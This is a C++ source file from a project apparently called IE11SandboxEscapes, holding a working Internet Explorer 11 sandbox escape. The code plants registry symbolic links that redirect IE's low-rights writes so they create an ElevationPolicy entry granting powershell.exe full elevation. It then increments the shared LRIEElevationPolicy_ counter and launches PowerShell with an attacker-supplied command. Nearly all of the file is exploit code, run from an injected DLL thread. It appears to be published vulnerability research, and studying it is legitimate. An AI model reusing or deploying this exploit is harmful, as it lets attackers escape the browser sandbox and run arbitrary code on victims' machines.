// This file is part of IE11SandboxEsacapes.

// IE11SandboxEscapes is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.

// IE11SandboxEscapes is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.

// You should have received a copy of the GNU General Public License
// along with IE11SandboxEscapes.  If not, see <http://www.gnu.org/licenses/>.

#include "stdafx.h"
#include <winternl.h>
#include <IEPMapi.h>

#define MAX_ENV 32767

#pragma comment(lib, "Iepmapi.lib")

typedef NTSTATUS (__stdcall *fNtOpenSection)(
	_Out_  PHANDLE SectionHandle,
	_In_   ACCESS_MASK DesiredAccess,
	_In_   POBJECT_ATTRIBUTES ObjectAttributes
	);

HANDLE MyCreateProcess(bstr_t exec, bstr_t cmdline)
{
	STARTUPINFO startInfo = { 0 };
	PROCESS_INFORMATION procInfo = { 0 };	

	if (!CreateProcess(exec, cmdline, NULL, NULL, FALSE, 0, NULL, NULL,
		&startInfo, &procInfo))
	{
		DebugPrintf("Error Creating Process: %d", GetLastError());

		return nullptr;
	}
	else
	{
		CloseHandle(procInfo.hThread);

		return procInfo.hProcess;
	}
}

bstr_t GetExploitUrl(LPWSTR env)
{
	WCHAR buf[MAX_ENV];

	GetEnvironmentVariable(env, buf, MAX_ENV);

	return buf;
}

void CreateIEProcess()
{
	HANDLE hProcess = MyCreateProcess(GetExecutableFileName(nullptr), L"iexplore.exe " + GetExploitUrl(L"HTML_URL"));

	if (hProcess)
	{
		WaitForSingleObject(hProcess, 1000);
		CloseHandle(hProcess);
	}
}

void CreateUserKey(LPCWSTR path)
{
	STARTUPINFO startInfo = { 0 };
	PROCESS_INFORMATION procInfo = { 0 };
	bstr_t sid = GetUserSid();

	bstr_t linkName = L"\\Registry\\User\\" + sid + L"\\Software\\Microsoft\\Internet Explorer\\LowRegistry\\DontShowMeThisDialogAgain";

	LONG res = RegDeleteKey(HKEY_CURRENT_USER, L"Software\\Microsoft\\Internet Explorer\\LowRegistry\\DontShowMeThisDialogAgain");

	DebugPrintf("Delete: %d", res);

	bstr_t destName = L"\\Registry\\User\\" + sid + path;

	CreateLink(linkName, destName, 0);

	CreateIEProcess();

	DeleteLink(linkName);
}

void DoRegistrySymlink()
{
	STARTUPINFO startInfo = { 0 };
	PROCESS_INFORMATION procInfo = { 0 };
	HKEY hKey = nullptr;	
	HANDLE hSection = nullptr;
	bstr_t sid = GetUserSid();
	bool success = false;	

	try
	{
		CreateUserKey(L"\\Software\\Microsoft\\Internet Explorer\\Low Rights");
		CreateUserKey(L"\\Software\\Microsoft\\Internet Explorer\\Low Rights\\ElevationPolicy");
		CreateUserKey(L"\\Software\\Microsoft\\Internet Explorer\\Low Rights\\ElevationPolicy\\{C2B9F6A6-6E3C-4954-8A73-69038A049D00}");

		LONG res = RegOpenKeyEx(HKEY_CURRENT_USER, L"Software\\Microsoft\\Internet Explorer\\Low Rights\\ElevationPolicy\\{C2B9F6A6-6E3C-4954-8A73-69038A049D00}",
			0, KEY_ALL_ACCESS | KEY_WOW64_64KEY, &hKey);

		if (res != 0)
		{
			DebugPrintf("Open Class Key Failed %d", res);
			throw 0;
		}

		CreateRegistryValueString(hKey, L"AppName", L"powershell.exe");
		CreateRegistryValueString(hKey, L"AppPath", GetWindowsSystemDirectory() + L"\\WindowsPowerShell\\v1.0");
		CreateRegistryValueDword(hKey, L"Policy", 3);

		bstr_t name = GetSessionPath() + L"\\BaseNamedObjects\\LRIEElevationPolicy_";

		UNICODE_STRING objName = { 0 };
		objName.Buffer = name;
		objName.Length = SysStringByteLen(name);
		objName.MaximumLength = SysStringByteLen(name);

		OBJECT_ATTRIBUTES objAttr = { 0 };

		InitializeObjectAttributes(&objAttr, &objName, OBJ_CASE_INSENSITIVE, 0, 0);

		fNtOpenSection pfNtOpenSection = (fNtOpenSection)GetProcAddress(GetModuleHandle(L"ntdll"), "NtOpenSection");
	
		NTSTATUS status = pfNtOpenSection(&hSection, SECTION_MAP_READ | SECTION_MAP_WRITE, &objAttr);

		if (status != 0)
		{
			DebugPrintf("Error opening section: %08X\n", status);
			throw 0;
		}

		unsigned int* p = (unsigned int*)MapViewOfFile(hSection, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, sizeof(unsigned int));

		if (p == nullptr)
		{
			DebugPrintf("Error mapping section %d\n", GetLastError());
			throw 0;
		}

		DebugPrintf("Current Counter: %d\n", *p);

		// Increment
		*p = *p + 1;

		DebugPrintf("New Counter: %d\n", *p);

		UnmapViewOfFile(p);
		CloseHandle(hSection);
		hSection = nullptr;

		MyCreateProcess(GetWindowsSystemDirectory() + L"\\WindowsPowerShell\\v1.0\\powershell.exe", L"powershell.exe " + GetExploitUrl(L"PSH_CMD"));
	}
	catch (...)
	{
	}

	if (hSection)
	{
		CloseHandle(hSection);
	}
	
	if (hKey)
	{
		RegCloseKey(hKey);
	}

}

DWORD CALLBACK ExploitThread(LPVOID hModule)
{
	CoInitialize(nullptr);	
	DoRegistrySymlink();
	CoUninitialize();

	FreeLibraryAndExitThread((HMODULE)hModule, 0);
}